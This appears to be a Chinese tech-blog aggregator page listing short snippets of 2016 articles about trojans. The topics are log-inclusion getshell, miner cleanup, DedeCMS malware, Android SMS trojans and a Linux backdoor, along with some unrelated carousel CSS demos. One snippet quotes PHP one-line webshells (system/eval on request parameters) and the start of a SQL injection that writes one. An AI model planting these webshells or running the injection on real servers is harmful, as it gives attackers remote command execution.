包含日志文件getshell 一、包含日志文件漏洞利用概述 当我们没有上传点，并且也没有url_allow_include功能时，我们就可以考虑包含服务器的日志文件。 利用思路也比较简单，当我们访问网站时，服务器的日志中都会记录我们的行为，当我们访问链接中包含PHP一句话木马时，也会被记录到日志中。 ...
分类：
系统相关 时间：
2016-09-09 00:48:49
阅读次数：
707
由于用的是临时服务器，安全性上疏忽了，导致受到了minerd木马攻击，清理的时候，遇到了ntp这个很具有迷惑性的服务，费了一番功夫才敢彻底清理。现状描述1top可以看到，这个minerd程序把cpu跑满了2psaux|grepminerd可知是这个程序:/opt/minerd---这个不是我们自己启动的，可以..
分类：
其他好文 时间：
2016-09-08 18:38:54
阅读次数：
1401
尊敬的客户，您好! 感谢广大客户对我司工作的信任和支持！ 我司在最近的一个多月内陆续发现多起因 DedeCMS 安全漏洞造成网站被上传恶意脚本的事件，入侵者可利用恶意脚本对外发送大量数据包，严重占用CPU资源与服务器带宽，影响极为恶劣。为保证服务稳定，即日起一旦发现网站存在此类恶意脚本，我们将立即暂 ...
分类：
其他好文 时间：
2016-09-08 14:37:58
阅读次数：
250
根据猎豹安全实验室的云端监控数据显示，近1个月截获的“短信拦截”类样本变种数量超过10万，影响用户数达数百万之多。“短信拦截”木马作为安卓手机病毒中的一类常见样本，近两年来显现出爆发增长的趋势，其背后的黑色产业链也日益发展壮大，“短信拦截马”的日趋泛滥已经成为移动支付、网银财产等各环节的焦点安全问题 ...
分类：
其他好文 时间：
2016-09-06 09:02:30
阅读次数：
200
1 故事开始首先剧透一下后门木马：Linux.BackDoor.Gates.5http://forum.antichat.ru/threads/413337/ 首先是下午14点左右有几台服务器出现流量超高，平时只有几百M的流量，那时候发现流量上G了，达到这个量第一感觉就是遭受了DDOS流量攻击，那时 ...
分类：
数据库 时间：
2016-09-05 00:13:10
阅读次数：
227
思路：上传一个“后门”，通过控制后门来得到shell，比如一句话木马。比如：<?system($_REQUEST[‘cmd‘]);?>//通过request提交，执行shell<?php@eval($_POST[‘chopper‘]);?>//PHP一句话木马，直接上菜刀这里构造如下语句：1‘and1=2unionselect"<?",system($_REQU..
分类：
数据库 时间：
2016-09-04 17:54:20
阅读次数：
364
我们都知道，windows的程序无法直接在linux中运行，windows中大量的木马和病毒也无法被linux识别，所有的软件包都必须针对linux再做单独的开发。软件包分类源码包（把源代码直接开放的包）脚本安装包（源码包写一个安装界面，不需要手动安装）二进制包（RPM包、系统默认包）源..
分类：
系统相关 时间：
2016-09-03 22:41:36
阅读次数：
314
Carousel-旋转木马easingeaseOutStrong/easeBoth滚动的动画方方式--------------------------------------------------‘easing‘:‘easeOutStrong‘先快后慢强‘easing‘:‘easeBoth‘感觉和None差不多‘easing‘:‘easeIn‘先慢后宽速度比较缓------------------------------------------..
分类：
其他好文 时间：
2016-09-03 15:11:57
阅读次数：
177
基本原理： 1.首先我们需要让图片能旋转的效果，我们让所有图片绝对定位(position:absolute),共用一个中心点。 2.对于舞台我们加一个视距，比如下面的demo是 perspective: 800px; 3.对于容器 我们可以加一个3D视图 transform-style: prese ...
分类：
Web程序 时间：
2016-08-31 17:08:48
阅读次数：
528
